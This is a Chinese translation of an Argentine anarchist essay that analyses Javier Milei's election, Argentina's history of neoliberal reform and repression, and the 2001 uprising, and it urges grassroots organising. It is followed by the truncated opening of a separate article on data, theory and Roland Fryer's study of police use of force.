本文是一篇深刻的反思，来自阿根廷无政府主义者，探讨了哈维尔·米莱赢得选举的原因，并将米莱的政治置于历史背景中进行思考。虽然米莱的 “无政府资本主义” 论调看似新颖，但那只是阿根廷一个古老故事的再次重演 —— 是最残酷的资本主义与无情的国家暴力的结合。

本文中的思考适用于全球很多国家，当然包括中国。

阅读中您可能会感觉到某些地方 “非常眼熟”。不过必须说，我们制作这篇文章的目的恰恰是旨在传播那些可能让您觉得兴奋但同时却感觉有些遥远的东西，那些尚未在中国本土扎根的精神力量，这些力量，将是让 “白纸抗议行动” 所代表的旗帜再次回到反抗者手中的必需（是的，现在它在某种程度上已经脱手）。

 如果您错过了：

- 《为什么说阿根廷新当选总统是个骗子；"无政府"究竟是种什么状态？》
- 《为什么保守派和极右翼更擅长动员，而不是进步派》
- 《人们为什么支持极右翼政党》

回到未来

「图」

哈维尔·米莱是阿根廷新当选的总统，他在总统竞选中提议废除阿根廷比索，采用美元作为国家货币，取消中央银行，将医疗保健和教育私有化，私有化或关闭所有公共媒体，并将国家经济和战略基础设施的大部分全盘私有化。

米莱的性格和政治立场使他非常适合在一部过度戏剧化的无政府主义小说中扮演超级反派的角色。直到最近，他还穿着黑黄相间的超级英雄服装上蹿下跳。人们可以看到他平静地武断地谈论自由市场应该如何调节社会的方方面面 —— 包括买卖儿童和出售身体器官，或者一个人为了吃饱肚子而卖掉自己一条胳膊的 “自由”，他声称这是一个人“被迫在挨饿和每天做18个小时的苦力之间做出的选择”—— 此人“当然”是自由的，因为那是他自己的选择。在没有这些哲学乐子的时候，他就会出现在脱口秀节目里，口沫横飞地大骂 “狗屎左派”、“文化马克思主义”、全球变暖是骗局等等。

米莱的副总统维多利亚·维拉鲁埃尔只因极力维护那些在上世纪70年代阿根廷最后一次军事独裁统治期间因酷刑和数千人失踪而入狱的军事领导人而闻名。她和米莱都对长期以来都很确定的3万人死亡或失踪的数字提出异议。米莱公开否认曾经的独裁政权进行过系统性的种族灭绝，而只是将独裁政权的行为描述为 “过激”。要知道他所谓的这些 “过激行为” 包括一个由数百个秘密拘留中心组成的网络、将被下了药但仍活着的受害者从直升机上扔进拉普拉塔河、以及绑架数百名被指控为 “颠覆分子” 的囚犯家的新生儿交给军人家庭。

他的随从也好不到哪去。其中包括 “男权活动家”（米格道）、地平说爱好者、呼吁将海洋私有化的所谓哲学家等等。

因此，他的政治是无政府主义者的噩梦。他的政治也与阿根廷大部分民众的政治截然相反。阿根廷是一个具有强烈社会正义感的社会，在这个社会中，过去二十年的主流政治流派是基什内尔主义，一种进步的中左翼庇隆主义倾向，它是在2001年的起义中发展起来的。除了毛里西奥·马克里从2015年到2019年的总统任期外，基什内尔主义政府

从2003年起一直统治阿根廷，直到米莱获胜。基什内尔主义执政的前十年极大地改善了许多阿根廷人的生活质量，降低了失业率和贫困率，控制了通货膨胀（至少按照阿根廷的标准来说）。这代表了公众言论和政府政策的左倾化，与九十年代的新自由主义霸权大相径庭。

但是，基什内尔政府的第二个十年并不那么成功，腐败丑闻不断，以及世界上持续时间最长的COVID-19封锁事件。尽管采取了一系列经济保护主义措施—— 限制进口、对出口征税、建立货币管制和一系列不同的阿根廷比索汇率—— 但在过去十年中，比索持续贬值。这导致通货膨胀率急剧上升，在过去**12**个月里，通货膨胀率超过**100%**，使数百万人陷入贫困线以下。到大选时，超过**55%**的未成年人和**40%**的阿根廷人正式生活在贫困之中。

在此背景下，米莱在第二轮选举中获得了近56%的选票，而在10月22日的第一轮选举中仅获得30%的选票。

这种灾难是怎么造成的？会导致什么？我们又该做些什么才有望缓解灾难？2017年养老金改革辩论期间，国会前发生冲突。

“自由万岁！”—— 自由地选择是卖命还是挨饿、是屈服还是被枪毙

「图」

起初，在大多数人眼中，米莱只是一个异国情调的新奇人物—— 一个默默无闻的经济学家，成为政治脱口秀和新闻频道的常客，通过咆哮反对“政治种姓”，大喊“排干沼泽”，在抨击“性别意识形态”时满脸血红，只是为提升收视率。

他在电视上的露面为他赢得了一批政治上被疏远的年轻中产阶级男性粉丝。在他们看来，福利国家用辛勤工作的阿根廷人缴纳的税款养活了一群懒惰的流浪汉。他们强烈反对移民，他们认为移民来阿根廷就是为了薅免费公共教育和医疗保健的羊毛。反对政治正确、反对全球主义议程、反对COVID-19 疫苗和隔离。令人难以置信的是，他们还反对阿根廷的“社会主义统治”，尽管阿根廷是一个正经八百的资本主义国家，其政府充其量也只是有点点轻微偏左。

这些年轻人主要通过 **TikTok** 上哈维尔·米莱的短片以及巴西和美国的极右翼内容在网上聚集起来，当哈维尔·米莱宣布有意竞选2021年的国会议员时，他们成为了萌芽中的“自由前进”党的积极分子。黄色的加兹登旗帜和“让阿根廷再次伟大”的帽子开始出现在他的竞选集

会上。“Make Argentina Great Again.”

米莱是通过挖掘阿根廷特定人群 —— 即那些正在内卷中挣扎的年轻的城市中产阶级男性—— 中潜藏的怨恨之河，而当选国会议员的。但随着他们的生态系统、影响力和接触面不断扩大，这些年轻人成为了极右翼成功引导民众对经济和政治危机不满情绪的重要力量。

这种做法之所以成功，是因为在生活悲惨的同时，企业家和骗子的逻辑正进一步渗透到社会中，尤其是在年轻人中。资本主义的逻辑被越来越多的人视为常识：如果你穷得叮当响，“并没有” 什么系统性的原因—— 相反肯定是因为你工作不够努力；如果你赚不到足够的钱，并不是因为你的工资太低被剥削太狠，而是因为你没有做足够多的工作；如果你想改变自己的处境，如果你想获得 “自由”，你就不应该去加入别人的行列，也不应该和别人一起组织起来，而是应该自己努力，去创业，去网上带货，这样一来不仅有望摆脱工资奴隶制，还能有朝一日获得一些奴役别人的权力。自由被理解为 “完全是个人的追求”，是一场零和游戏，如果你想获得自由，那就必须剥削别人吧。

随着资本主义霸权的推进，“集体主义和社会主义” 被归咎于资本主义的失败。进步的彩虹资本主义在意识形态层面上（如果不是在实践中的话）的确缓解了社会中一些受压迫阶层的斗争，但同时却造成大量人口陷入极度贫困。这就很容易把失业者和贫困劳动者对资本家阶级的愤怒转化为对伪自由主义极右翼编造出来的替罪羊的怨恨。

不需要对世界大事进行最敏锐的分析，也能看出它与美国的特朗普或巴西的博索纳罗的之间有多么的相似。这些相似之处都是直接从新法西斯右翼的小本本里照抄出来的。怨恨政治、文化战争、种族主义口哨、法西斯主义特有的痴迷，即被羞辱的国家需要一个强人来领导以对抗国内外的众多敌人。同时，社会主义的幻觉无处不在，即使是那些离社会主义最遥远的政治人物也不例外。在阿根廷，由托洛茨基主义的 “左翼阵线”（Frente de Izquierda，由四个独立的托派政党组成的选举联盟）主导的实际左翼在这些选举中只获得了不到3%的选票。这表明，即使在民众对政治阶层普遍不满和不信任的情况下，左翼也没能将自己定位到一个可行的替代方案的地位上。

米莱和他的 “自由主义者” 成功地将激进的左翼社会运动和中左翼的基什内尔政府描绘成了一个整体，就像特朗普能够在其支持者眼中将 “安提法” 与民主党混为一谈那般浆糊。文化战争的大宣传由此变得易如反掌。社会主义者希望有一个老大哥国家来控制和压迫国内正直善良的劳动人民；懒惰、暴力的人群依靠福利计划生活，而心灵手巧的工人则在税收的重压下挣扎；而这一切都是为根深蒂固的腐败政治阶

层服务的。

在10月份的第一轮选举中，仅这部分社会阶层就占到了30%的选票。这明显高于最初认为的 15% 左右的支持率上限，但仍然不足以让他掌权。这就是我们与美国特朗普主义的另一个惊人的相似之处。前总统毛里西奥·马克里和他的前国防部长帕特里夏·布尔里奇（在选举中以23%的得票率名列第三）立即宣布在第二轮选举中支持哈维尔·米莱。他们的选民不是年轻人，也不是寻求彻底改变制度的选民，而是阿根廷中上层阶级和寡头阶层反对庇隆主义和基什内尔主义的典型选票（对应中国的中产阶级小企业主和资本家）。就像美国传统的保守派共和党人在特朗普成功当选后所做的那样，他们立即放弃了对哈维尔·米莱的严厉批评，抓住机会与米莱共同掌权。

毛里西奥·马克里和帕特里夏·布尔里奇等人可能会对米莱的奢侈行为嗤之以鼻，对这个手持电锯在集会上大肆宣扬削减政府开支的人的举止感到恐惧，但米莱的政治无疑代表了这些老政客最狂野的梦想。这部分选民一直梦想着工业私有化，梦想着精简国家以服务于资本利益，梦想着将国家简化为纯粹的镇压职能以约束社会。他们只是缺乏政治资本来暗示他们有这样的意图，同时不导致自己在政治上无足轻重。

现在，大选刚结束，即将上任的米莱政府的关键职位就被马克里灾难性政府的前部长和经济学家们占据了。在内斯特·基什内尔终于将阿根廷从国际货币基金组织的债务重压中解脱出来之后，马克里又于2018年重新接受了国际货币基金组织历史上最大的一笔贷款—— 其中大部分贷款并没有用于资助基础设施项目或加强经济，而是给金融资本家分了。其中一些被非法抽走。

米莱还未宣誓就职，就已经忘记了所谓的 “排干沼泽” 的竞选承诺。其新任命的部长和顾问们的名字是四分之一世纪以来最声名狼藉的保守派政客们的 “名人录”。

特朗普主义与阿根廷的极端自由主义现象之间还是有点区别的。特朗普在某种程度上是经济保护主义者，而米莱则是自由市场狂热而教条的拥护者；特朗普显然是一个机会主义者，大旗虎皮；米莱则是当今最反动的、最卑鄙的、最过时的资本主义模式的忠实信徒。这种意识形态使他公开、明确、反复地宣称，没有受教育“权”或医疗保健“权”这种东西，如果某样东西在市场上无利可图，就没有存在的必要，也不应该存在。大街小巷都应该私有化，身体器官都应该成为市场商品。尽管米莱大谈 “无政府主义”，但他的副手却是阿根廷军方及其罪恶历史的坚定捍卫者，其对付社会运动的计划就是赤裸裸的暴力

镇压。

特朗普主义与米莱现象的关键区别在于其支持者的年龄。虽然米莱鼓吹的经济模式会让阿根廷回到19世纪，但他却以某种方式将自己和这些理念定位为“新的”、“反叛的”。除了小部分激进的年轻人外，特朗普的支持者一般年龄较大、住在农村、与世隔绝，而大多数30岁以下的人则坚决反对他。相比之下，米莱则凭借其激动人心的演讲、将追随者想象成“不是被放养的绵羊，而是被唤醒的狮子”，以及在TikTok 和新社交媒体平台上的主导地位，从而深刻打入了大众社区和贫困劳工群体，并在年轻人中建立了基础。

因此，当今阿根廷青少年和二十几岁的年轻人对“自由和反叛”的最普遍解释不仅与我们这些人所认为的团结互助的价值观截然相反，甚至还篡改了我们的语言，公然盗用“无政府主义者”和“自由意志”的说法。他们用这些词所表达的意思只是“自由派”和极端自由资本主义最腐朽内容的翻版。这正是 TikTok 这类影响力资本家对人类社会的愿景。

尽管有所不同，但博索纳罗、特朗普和米莱是坚定的盟友，博索纳罗预计将出席米莱的就职典礼，特朗普最近也宣布有意到阿根廷拜访米莱。他们三人是一个萌芽中的原法西斯国际的先锋。尽管提出了排外、镇压和资本主义紧缩等陈旧的模式，但至少在阿根廷，右翼势力的复苏已成功地将自己定位为传统政治的新替代方案。由于中左翼未能改善人民的日常生活，2001年后的许多社会运动参与者也逐渐被收编纳入国家机器，因此极端自由主义的替代方案成功地将自己定位为“青年反叛”的代表。

用阿根廷无政府主义组织在选举后发表的声明中的话来说就是：

> 对于以这种方式发展壮大的极右翼政治选择来说，其失败是文化和意识形态上的，并且已经持续了许多年——主要始于许多解放项目的“撤退”，更不用说进步项目从大多数民众社区和工会中的“撤退”了；

2017年养老金改革辩论期间，国会前的冲突。

历史再次重演

「图」

尽管经过重新包装和改良营销，但米莱的想法并没有什么新东西，相

反这一切只是极端自由主义的经典公式。具有讽刺意味的是，如果说世界上有哪个地方已经尝试过这种极端自由主义的话，那就是阿根廷。

20世纪40年代，围绕胡安·多明戈·庇隆将军兴起了庇隆主义运动，该运动将经济保护主义资本主义项目与强大的福利国家和“社会正义”的言论揉在一起。庇隆主义经常与左翼势力结盟，与阿根廷寡头政治和军方之间数十年的对立最终导致了1976年的军事政变。这是20世纪阿根廷历史上发生的第六次政变。

军政府发动了臭名昭著的肮脏战争，打击该国武装游击队组织 —— 左翼的“蒙东内罗斯”和托派的“人民革命军” —— 的残余势力。到1975年底，这两个组织已基本被完全击败和解散，包括其他任何被认为具有远程“颠覆性”的人。

军政府与国际货币基金组织携手，对拉美国家实施了第一波新自由主义经济改革。

国际货币基金组织向拉美国家提供了当时最大的一笔贷款，并要求拉美国家进行一系列市场改革作为回报。他们废除了庇隆主义的保护主义政策，取消了进口关税，摧毁了民族工业，同时取消了对出口的所有税收或限制。与此同时，他们取消了租金管制，取消了对公共交通的所有补贴，并攻击工会和集体谈判权。

其结果对阿根廷社会的大多数人来说都是灾难性的。工人们首当其冲地承受着因国家外债不断增加而引发的年均三位数的通货膨胀。到**1982**年，一个不得人心的军政府为了转移国内问题，不顾一切地将阿根廷推向了与英国争夺马尔维纳斯群岛的战争，导致在**1983**年恢复资本主义民主之前，又夺走了数千人的生命。

但事实证明，欠国际货币基金组织的沉重债务负担是无法摆脱的。20世纪80年代，年通货膨胀率达到天文数字，经常在400%到600%之间。到1989年，通货膨胀使全国47%的人口生活在贫困线以下。随后，恶性通货膨胀的浪潮在一个月内达到200%，引发了大范围的抢劫和冲突，造成40多人死亡。

1991年，柏林墙倒塌，东欧集团瓦解。弗朗西斯·福山宣布“历史终结”，新自由主义资本主义取得胜利，成为“最好的”、“唯一可能”的世界。阿根廷通过“可兑换性”结束了通货膨胀，人为地将阿根廷比索与美元绑定在一比一的汇率上。这是由国际货币基金组织的另一笔贷款资助的，这次的金额高达10亿美元，这也是20世纪90年代国际货

币基金组织向阿根廷提供的数笔贷款之一。与此同时，新当选的总统卡洛斯·梅内姆发起了史无前例的新自由主义改革浪潮，其核心是工业私有化、放松或取消进口管制、重组国家、以及放松经济管制。私营企业和市场力量成为当下的主流 —— 事实上，在最初的几年里，经济相对稳定和繁荣。几十年来，通货膨胀首次得到了控制，大量新资金流入国库，使税收得到一定程度的减免，外商投资带来的商业和基础设施的初步改善，加上进口关税的取消，为国家带来了就业机会、工资增长和廉价商品。

但这一切只是泡沫。由于无法在国际上竞争，小企业和工厂开始倒闭。吞并了公共基础设施的外国投资者开始以确保利润为唯一目标，未能进行再投资。毫不奇怪，这导致了公共服务的迅速恶化，尤其是交通。贸易失衡导致出境的美元多于入境的美元，使得一比一的汇率越来越难以为继。随着越来越多的人失去工作，**90** 年代中后期开始出现公开抵制工厂倒闭的现象，由此产生了失业工人运动，该运动后来被称为 “皮克特罗 (**Piquetero**)”—— 以使用激进的道路封锁作为实际的武力展示和吸引人们关注其斗争的象征性工具而闻名。

2001年12月，所有这一切都变成了现实。在阿根廷比索即将贬值的传言引发银行挤兑潮之后，当时的经济部长多明戈·卡瓦洛实施了后来被称为 “corralito” 的措施，即 限制每周从银行提取的现金不能超过 200 美元。这在中产阶级中造成了危机，与阿根廷民众阶层的不满浪潮交织在一起，阿根廷失业率超过20%，贫困率超过40%，民众阶层受到的打击最大。2001年12月19日，全国多个城市，尤其是大布宜诺斯艾利斯地区，爆发了大规模的抢劫活动。为此，德拉鲁阿总统于当晚宣布全国进入紧急状态 —— 这是自**1989**年以来的第一次。成千上万的人立即聚集到总统府前的五月广场，数十万人走到阳台上声援，敲打着锅盆，发出无休止的反叛喧嚣。警察发动了猛烈的镇压浪潮；经过几个小时的激战，他们成功地 “清理” 了广场，驱散了示威者。

如果不是因为紧急状态当晚恰好是周三，事情可能就到此为止了。但正如一位目击者所言：

> 命运总会眷顾勇者。不然，我们怎么解释激烈镇压后的第二天早上居然是星期四呢？星期四。自1977年独裁统治最黑暗的时期以来，每周只有这一天，被军政府绑架和失踪的人们的母亲和祖母们会聚集在一起，举行守夜活动，要求为她们的孩子伸张正义。

2001年12月20日的这一天，阿根廷的青年、工人阶级和失业者包围

了总统府，数万人“不分老幼，直面催泪瓦斯和子弹，无法知道他们射向你的是橡胶子弹还是铅弹”。

当天结束时，尽管凶残的镇压在两天内夺去了39条生命，但我们还是迫使总统辞职了，并目送他乘坐直升机逃离了总统府。在当时看来，这似乎是阿根廷新自由主义实验的最终结局，也是关于极端自由主义政治与镇压之间内在关系的一个教训，说明了两种新自由主义实验都付出了巨大的生命代价。

我们原以为这将使阿根廷世世代代免受新自由主义卷土重来之害。然而，时间的流逝证明我们错了。12月20日下午，费尔南多·德拉鲁阿总统乘坐屋顶直升飞机逃离总统府，

极端自由主义者、军队和镇压穿在一条裤子里

「图」

米莱的总统任期要到12月10日才开始，但米莱在竞选活动中吹得面红耳赤的的牛皮谎言就已经显而易见地漏气了。关于紧缩和削减预算将由“政治阶层”买单的承诺已经转变成了“这将是对所有人来说都无比艰难的六个月”。他已经宣布可能不向公职人员发放年终奖金。他关于立即解决通货膨胀问题的保证现在已经让位于“这将需要 18 到 24 个月”的说辞。最后，与特朗普“排干沼泽”的承诺不谋而合的是，他所抨击的政治种姓现在正围着他团团转，并占据着政府的重要职位，其中包括许多应该对上世纪**90**年代的经济和社会大灾难负责的人以及马克里政府内部的人。

然而，在其他方面，米莱明确表示，只要政府部门和街头的权力平衡允许，他将按照自己的意识形态施政。当选后的第一天，他就宣布打算出售或关闭所有公共媒体机构，并停止所有公共基础设施项目。不出所料，我们已经看到了企业媒体的宣传攻势，将私营部门工人和整个社会与国家雇员和公共媒体渠道的工作人员对立起来；企业媒体一直在发布虚假的和夸大的工资数字，并将所有国家雇员诬陷为想要维护“他们的特权而牺牲社会利益的家伙”。这些反动分子并不满足于我们在邻里间所经历的穷人与穷人之间的冲突所带来的不安全感，他们现在正齐心协力地试图挑起一场社会大混战，在这场混战中，那些仍然享有工作保障和福利的工人被描绘成牺牲其他人而享有特权的人。

他们一方面拆散社会的团结，另方面则污蔑反对者

随着反对即将到来的裁员、私有化和紧缩政策的呼声日渐高涨 ——

工人、工会和社会组织呼吁举行公开集会，讨论形势并开始组织反抗 —— 极端自由主义改革、企业媒体和国家镇压机器之间的共生关系，逐渐浮出水面。许多媒体都在警告 “政变” 的危险，指的是可能最终推翻米莱政府的潜在“动乱”。这种言论意在将民众反抗与军队夺权混为一谈。

与此同时，前总统毛里西奥·马克里在电视上煽动年轻的米莱支持者去攻击那些可能走上街头反对裁员和削减预算的人。他的言辞中充满了种族主义和阶级歧视，他建议 “兽人”（他指的是失业工人和其他皮克特罗人）“应该仔细考虑一下他们在街头的所作所为，因为年轻人不会容忍他们剥夺改变国家的机会”。马克里称我们为 “兽人”，米莱称我们为 “阻碍变革” 和 “阻碍正直的阿根廷人拥有更美好未来” 的 “狗屎左派”，这些语言不仅仅反映了阿根廷中上层阶级和寡头政治的阶级主义和种族主义；它是一种有意识地制作和使用的工具，目的是开始污名化和排斥民众的反抗，以便在冲突不可避免地开始时，让社会上尽可能多的人反对声援社会革命运动。2017年养老金改革辩论期间，国会前发生的冲突。

选举日后不到一周，米莱的副总统维多利亚·比利亚鲁埃尔的首次公开露面就是参观警察设施，她在警察身旁发表讲话，表示有必要为警察部门提供更多资金和装备。与此同时，米莱的阵营已经宣布，他们将试图修改国防法，以便再次把军队用于国内维稳目的，包括 “打击恐怖分子”。对于无政府主义者、左翼人士以及任何考虑走上街头反对新政府的人来说，这个信息都是非常明确的：我们将被打上了 “恐怖分子” 的烙印。从那时起，只需一步之遥，臭名昭著的阿根廷军队就会再次出动，打击任何不幸被视为 “颠覆分子” 的人和事。

米莱的副总统是维多利亚·维拉鲁埃尔这绝非巧合，她是上一次独裁统治期间被判犯有反人类罪的军方成员的狂热捍卫者。军队和整个国家的镇压机器是超极端自由主义计划的基本要素，尤其是在像阿根廷这样拥有发达抵抗网络的国家。极端自由主义大谈 “无政府资本主义”（这是一个荒谬的矛盾词），它代表着国家的精简，使其能够更好地维护财产和资本家阶级的利益。它使国家摆脱了福利制度、社会计划以及对社会大众的任何责任等包袱。这是将资本主义国家转变为其最粗暴、最原始的形式：维护阶级社会和惩戒所有反对者的工具。

当采访者直截了当地问米莱是否相信民主时，米莱拒绝回答，这绝非巧合。极端自由主义计划将市场置于一切之上，将财产权、资本权和剥削权视为唯一不可剥夺的权利。从这个角度来看，社会的 “不成熟” 和 “异想天开” —— 即使是像投票让政客下台或在议会中否决他们的政策这样完全属于资本主义代议制民主框架内的事情 —— 也只是一

个需要克服的障碍。亨利·基辛格（Henry Kissinger）在20世纪70年代关于智利的言论最能概括这种心态了：“对于智利选民来说这些问题太重要了，不能让他们自己决定”。

同样并非巧合的是，正是在智利，在皮诺切特独裁政权的携手下，在美国的物质支持下，拉丁美洲的另一场重大的极端自由主义实验发生了。在智利，“芝加哥男孩”—— 一群在芝加哥大学接受教育并信奉米尔顿·弗里德曼（哈维尔·米莱对其推崇备至）思想的智利经济学者 —— 得以实施一系列新自由主义改革。实施这些改革的必要前提是建立一个军政府，像在阿根廷一样，智利也有成千上万的持不同政见者被军政府杀害和失踪。其中几项改革（如养老金项目私有化、学校和大学代金券制度、以及公共交通私有化）的持久后果正是2019年智利起义背后的催化剂。

市场的自由必然意味着对工人的剥削和社会大多数人的痛苦。这个国家的历史已经充分表明了这一点。最终，当这种状态引发足够多的民众反抗时，维持这种状态的唯一办法就是通过国家的蛮力。尽管米莱和维拉鲁埃尔空谈自由，但他们却仅仅是皮诺切特和芝加哥男孩政策、阿根廷独裁统治时期马丁内斯·德霍斯政策、以及上世纪90年代新自由主义政策的政治继承者，后者在让出权力之前的一周内就夺走了38条生命。纵容国家维稳部队，撇清阿根廷独裁政权的罪行，这不仅仅是文化战争的伎俩。他们和我们一样清楚，极端自由主义迟早只能通过镇压和暴力强加于人，而且他们打算再次这样做。2001年12月20日，抗议者用路障包围总统府。

“天国之力” 对抗半兽人

「图」

今天，大家都很害怕。掩饰是没有用的。我们中的许多人并不渴望战斗。也许是因为几十年来的第一次，我们发现自己完全处于守势。我们也正在进行一些战斗，比如争夺上一个独裁政权所代表的集体记忆的战斗，我们还以为二十年前就已经赢得胜利了。我们还在打另一些自以为早在整整一个世纪前就已经赢了的战斗，比如争取公共教育和医疗保健的斗争。

我曾经在面具下微笑，为直面国家守护者的前景而陶醉。而现在，我在集会或冲突中勉为其难地扮演着自己的角色，因为我清楚地意识到，上一次我们在镇压中失去了多少生命。也许是因为我们这一代人现在年纪更大了。我们失去的更多。生活让我们学会了在年轻时的战斗中所没有的恐惧。

或许我们真正感到恐惧是因为2001年，当阿根廷最后一次新自由主义实验达到灾难性的高潮、贫困率达到 50%、一无所有者的愤怒最终导致大范围的抢劫和民众对总统府的围攻时，正是我们 —— 当时我们这些年轻人—— 站在了冲突的最前线。今天，事态的发展让我们中的许多人感到自己比实际年龄要老得多，一大批青年成为了米莱和新的极端自由主义政府的支持者。

这是进步主义和国家主义左派惨败的又一个例子，他们未能从根本上打击资本主义。在阿根廷，2001年起义之后，他们没有能够在资本主义这头野兽受伤、名誉扫地、最虚弱的时候给予最后一击。相反，他们试图驯服和统治资本主义。这一过程导致20世纪90年代和2001年起义中的数百名甚至数千名激进派活动家和战士被收编，被纳入了国家机器。是的，国家以“进步”的样貌出现，使同性恋婚姻合法化，与农村寡头对抗，挑战企业媒体垄断，最终使国家摆脱了国际货币基金组织的债务，甚至将 “财富再分配” 纳入了主流话语。但是，将左翼与国家和灾难性的金融形势联系在一起，为极右翼极端自由主义取得今天的胜利铺平了道路。

难道我们注定要陷入无休止的循环，每一代人都必须重新汲取过去的惨痛教训？考虑到这一代人除了40%的贫困率、年均三位数的通胀率、公共医疗和教育质量的下降、政治阶层的畸形腐败（他们一边鼓吹 “社会公正” 和 “财富再分配”，一边却在地中海的游艇上度假）之外，几乎一无所知 ..... 我们能因为他们不顾一切地投向一个承诺给他们 “自由” 的人而责怪他们吗？警告Uber司机或外卖小哥说他们将失去福利或带薪休假的权利是毫无意义的，因为他们本来就没有。但他们正在接受的另一种选择甚至更糟。

未来几个月会如何发展将取决于多种因素。主流官僚工会会退出并试图渡过难关吗，还是会支持面临裁员的工人？他们会动员起来声援失业工人吗？如果米莱试图改革劳动法或集体谈判法，他们会号召总罢工吗？人们会动员起来捍卫公共机构和公有企业吗？极右翼是否会成功利用文化战争政治来阻止声援该国最受压迫者和最弱势群体？

虽然米莱得到了他的年轻狂热者的大基数支持、以及激烈反对基什内尔主义和庇隆主义的中上层阶级的坚定支持，但他的选民中有很大一部分是失业者和内卷中的在职穷人。这些人把票投给他是出于一种错误但真诚的希望—— 希望他能真正改变他们的生活。这些选民在意识形态上并不受米莱的极端自由主义的束缚，他们也没有条件去 “耐心等待六个月”，让事情 “在变得更好之前先变得更糟”。如果通货膨胀失控，紧缩和削减预算的重担完全落在阿根廷最弱势群体身上，社会冲突可能会再次蔓延。

阿根廷的社会运动目前士气低落。就无政府主义者阵营而言，可悲的现实是，尽管几代无政府主义者都做出了值得称赞的努力，但目前运动的人数很少，无政府主义者在社会运动中的整体存在也微不足道。虽然无政府主义运动保持着一定的物理空间，也有人试图开始汇集更有凝聚力的和可见度更高的无政府主义力量，但我们只不过是“曾经世界上最强大的无政府主义运动”之一的残余而已。

但我们都应该清醒地认识到，历史绝对不会神奇地主动走向解放。我们曾经打败过新自由主义势力，但这并不意味着它们这次注定会再次倒下。历史将由我们亲手来创造。仅此而已。极端自由主义政治的失败 —— 无论是在19世纪，还是在皮诺切特时期，还是在最近的独裁统治期间，还是在2001年的起义中 —— 总是以巨大的斗争、牺牲和生命损失为代价的。

阿根廷上一次新自由主义实验造成了该国历史上最严重的经济和社会危机。在2001年12月的起义之前，革命者、组织者，还有无政府主义者—— 尽管当时也是少之又少 —— 已经付出了多年的努力。这意味着在邻里之间建立团结的互助网络；建立独立于主流工会或政党的失业工人基层组织；在工作场所、学校和大学举行集会 ..... 在任何需要我们的地方，站在实际团结的一边。今天，所有这些都必须再次进行。

> 「同志们，未来的时代要求我们加倍努力，在街头群众斗争战略的背景下，努力实现群众组织最广泛的团结。*(.....)* 我们需要消除分裂和个人主义，正是这种分裂和个人主义造成了米莱这样的人上台的环境。对皈依者说教是没有用的。我们的任务是始终从斗争和基层组织的角度出发，与工作中的每一位同事、每一位邻居交谈。」

最终，就像在2001年那样，走上街头的时候到了 —— 作为年轻人和老年人，作为工人，作为学生，作为相互声援并对资本主义阶级及其政客感到厌倦的各种社会成员。2001年12月，在“Que se vayan todos/所有人都下台”的呐喊声中，我们的集体愤怒在短短 48 小时内就击败了他们。

希望时机成熟时，我们可以再来一次。 2001年12月20日，总统府附近发生的冲突。

Back to the Future

原文

“遵循数据”就足够了吗？社会科学不是机械性的数学问题 - iyouport

社会反抗和思考

【2021年7月28日存档】社会学研究需要的不仅仅是对数据的遵从。在某些情况下，它甚至要求您拒绝研究结果—— 无论这些研究结果所依据的技术设备有多高的威望或多复杂

这不只是一个统计学方法论的问题，而是希望通过这场高调的辩论，帮助人们理解到被用于指导政策或为政策辩护的社会科学研究结论，有可能落入什么样的陷阱。您应该当心那些设计这种陷阱的人。

2016年，经济学家 Roland G. Fryer, Jr.—— 哈佛大学有史以来最年轻的获得终身职位的非裔美国人，发现了一个他称之为 “我职业生涯中最令人惊讶的结果”。在一项关于警察使用武力的种族差异的研究中，弗莱尔发现，黑人和西班牙裔平民被警察射杀的可能性并不比白人平民更高。“你知道，抗议不是我的事”，弗莱尔告诉《纽约时报》，“但数据是我的事。所以我决定，我要收集一堆数据，并试图了解当涉及到警察使用武力的种族差异时，到底发生了什么。”

三千个小时后，经过细致的记录收集和分析，数据已经说话了。弗莱尔总结说，尽管黑人在类似情况下比白人更有可能在警察手中遭遇非致命武力，但在致命的警察枪击事件中并不存在种族偏见。

这些发现似乎对迈克尔·布朗、埃里克·加纳、塔米尔·莱斯、弗雷迪·格雷、费兰多·卡斯蒂利亚等等无数人被警察杀害后席卷美国的日益增长的抗议运动有直接影响。

弗莱尔在论文的结尾写道：“在低级别的武力使用中存在的种族差异是有道理的，BLM等运动应该在他们自己的社区内寻求解决方案，而不是去改变警察和其他外部力量的行为”。

这项研究很快就受到了抨击。在大多数情况下，批评者采取了两种方

法中的一种。这两种方法是，1、认为研究在技术上失败了：数据是错误的或误导性的；分析中存在数学错误；统计协议是不恰当的。2、是以辅助性的理由来破坏这项工作的合法性，指出经济学家不是研究警察枪击事件的专家，而且经济学专业存在着保守的偏见。

这两种类型的回答体现了对定量社会科学成果的常见反应模式，它们也再次在关于警务的国家对话中广泛展示。但它们说明了人们对社会科学调查的性质的思考方式存在着深刻的问题—— 因此也说明了人们对政治和政策的思考提供信息的能力。

在这两种观点中，科学方法要么被认为是密不透风的，只有来自内部的错误才能破坏它；要么被认为是漏洞百出的，其有效性完全取决于外部利益。当然，每一种错误都有案例：一方面是 Reinhart-Rogoff Excel 电子表格的失误，另一方面是埃克森美孚公司用数千万美元资助气候变化否认主义的研究。

然而，如果人们认为科学实践要么无处不在，要么无处不被数据所解决，那么就会误解日常的科学实践。正如历史学家和科学哲学家长期以来所强调的，“数据” 永远不能把我们从观察到结论的整个过程中带出来；我们只能根据一些背景理论来解释它们，这些理论解决了数据所证明的问题。在定量社会科学中，一套共同的理论和规范承诺远没有发挥任何作用以使数据优先的方法能够完全可行。

数据和理论的这种纠缠贯穿于量化方法的任何应用中，但在今天的种族研究中，这种纠缠尤其充满了矛盾。自20世纪70年代以来，因果推理方法的发展和大规模数据收集工作的兴起，产生了大量关于社会中种族影响的定量文献。但是，尽管其技术日益成熟，学者们还没有就有关这些影响的正确概念化和测量的基本问题达成共识。种族作为一个原因究竟意味着什么？关于种族的推论何时能从单纯的相关关系跃升为因果关系？我们在哪里划分关于社会世界的假设与假设之间的界限 —— 前者是为了让统计机器启动和运行，后者则大量扭曲了社会世界的实际情况和运作方式？又是什么让定量分析成为法律和政策制定的可靠资源？

在学术和政策讨论中，这些问题往往被越来越深奥的技术工作所挤掉。但是，这些问题引起了深刻的关注，无论多少复杂的统计实践都无法解决，而且随着关于种族和警务的 “基于证据” 的辩论达到新的争议程度，这些问题确实会越来越重要。

人们需要对社会科学能够提供的调查、证据和知识，以及它不能提供的东西，有一个更精确的认识。在最新发现的浪潮中，人们应该相信

